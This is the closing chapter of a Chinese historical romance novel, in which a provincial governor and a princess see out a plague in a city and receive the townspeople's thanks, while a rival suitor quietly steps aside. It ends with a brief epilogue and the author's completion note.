木头的栅栏在外面围起一道藩篱,尖锐的木刺侧指向来人,戍卫着的士卒驱赶着无关的人。所有的一切在年幼的她眼底都是那么高大,高得不可逾越。 岑篱低声:“我不想被抛下第二次了。” 十多年前长安的那场大疫,只有她被扔在了原地。这一次,她不想要再被抛下了。 苏之仪却想起了那份和离书。 他嘴唇翕动,轻声,“……抱歉。” 岑篱怔然了片刻,缓缓笑了起来,“是了。这个也没有下一次了。” …… 鲁王世子一路逃窜到近海,谢定追了他大半个月,总算在对方效法先人出海寻仙之前将人抓获。这期间,半是有意的,谢定主动将全部关注放在抓捕之事上,其余种种都被他刻意隔开。 也是因此,一直到遇到了护送粮商的景九,他才得知阜安城内有疫病流传的事。 谢定脸色一下子就变了,“她进城了?!” 景九摇头:“郡主命属下筹集药材, 她和单医只是在城外询问里面病况。” “那你往回送药材时,可在城外见过她?” 景九:“……” 谢定表情沉下。他知道岑篱的心结,也能猜到她这时候会做的选择。 思及此处,他只匆匆吩咐了看守鲁王世子之事,自己则是劈手躲过马鞭,翻身上马,直奔着阜安城的方向而去。 * 此刻阜安城内。 随着最后一位疾疫之人离开,疠迁所终于空置了下来,但还有接下来的清扫处置,仆役将城外运送来的石灰洒到疠迁所的各个角落。这事情马虎不得,怕底下的人出什么纰漏,岑篱和苏之仪亲自来盯着。 等终于到结束,两人一同往住处走去。岑篱笑着开口:“单医说这几日诊治,颇有心得,早早就回住所整理札记,我瞧着这次事情之后,不少人对医工一道颇有兴致,不如让单医在这里开个学宫,专授活人之法……” 岑篱说着说着,声音却渐渐小下去。 苏之仪顺着她的目光往前看,看到前面的景象后也是怔住。 前面不远处是城内集市的地方,道路十分宽阔,只不过这会儿本来十分宽敞的道路上站了不少人,为首的老者拄着拐杖往前走了一步,他身后的人一齐俯身下拜。 苏之仪来不及扶起那没多人,只上前一步搀住同样要跪拜的老者,“老丈这是做什么?” 老人抓住了苏之仪的手,“府君从到了此处,没让人修建郡守府,反倒是先通了城里的水渠,才没有让大雨淹了城池。这大半个月疫气肆虐,府君更是日夜操劳,没个歇息的时候,阜安上下都看在眼里……前些日子疫病尚在,单医多次告诫,我等也不敢聚集。如今总算疫气散了,我们凑了些吃食,以表谢意。不是什么贵重东西,只求府君不要嫌弃!” 老者这么说着,后面的一个青壮拿着竹篓子膝行上前。也确实如他说的,不是什么贵重的东西,不过是些乡里常见的粟米饼、菜干、腊肉。 苏之仪却怔然良久,还是岑篱在旁边提醒地扯了扯他的衣裳,他才上前一步接过,“诸位有心了。” 身后之人齐齐叩拜,“府君大恩!郡主大德!!” 叩拜之后,老者又像是谨记着单医的告诫,连忙挥着人散了,自个又深深揖了一礼,“老头子活了有些年头,也知晓些道理。鲁地谋反是大逆,可陛下非但没有苛责,反倒派了您来治理鲁郡,可怜我等多年不知教化,如今才沐圣恩,幸犹未迟矣。” 送走了拜谢不止的老丈,苏之仪久久地凝望着已经空了的街道。 一直到听见旁边传来平缓的声音,“法者,天子所与天下公共也[1],仁者,以爱人之心待天下之人。以法为度,以仁为心,方才天下太平。” 苏之仪转头回望,岑篱轻笑:“我父亲同我说的,只是那时年幼,并不知其中深意。今日看了这般场景,不知怎么就想起来了。” “我总以此为,为人臣者,当为天子之刃,方才能居高位。然以此为阶,便是登上高位,仍可一言为之生死……仁心法度,这许是圣人之道了。岑公果真大德。”他恭维了一句已故的老丈人,视线落到岑篱身上,话锋却是兀地一转,“但我却不想做圣人。” 他说话间眼底酝着浅浅的笑意。 身侧的手指被轻轻扯住,岑篱愣了一下,也禁不住笑起来,“那便不做圣人。” 人生在世,谁又能毫无私欲? 所行所做之事,不过叩问本心罢了。 而此刻的城头,谢定快马赶来,却只来得及遥遥望见这一幕。这璧人相携的场景刺得人眼底生疼,胸腔中翻涌的不甘,但他却是结结实实地松了口气。 想要、想争、想去抢夺…… 但最想要的,也不过是她安好罢了。 纵然那安好不是他给的。 …… 五年后,鲁地郡守苏之仪因治下有功,被调回朝廷,擢升御史大夫,位列三公。 正崇二十六年,帝王病逝。 皇长子登基,三公辅政。 【作者有话说】 (全文完)魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m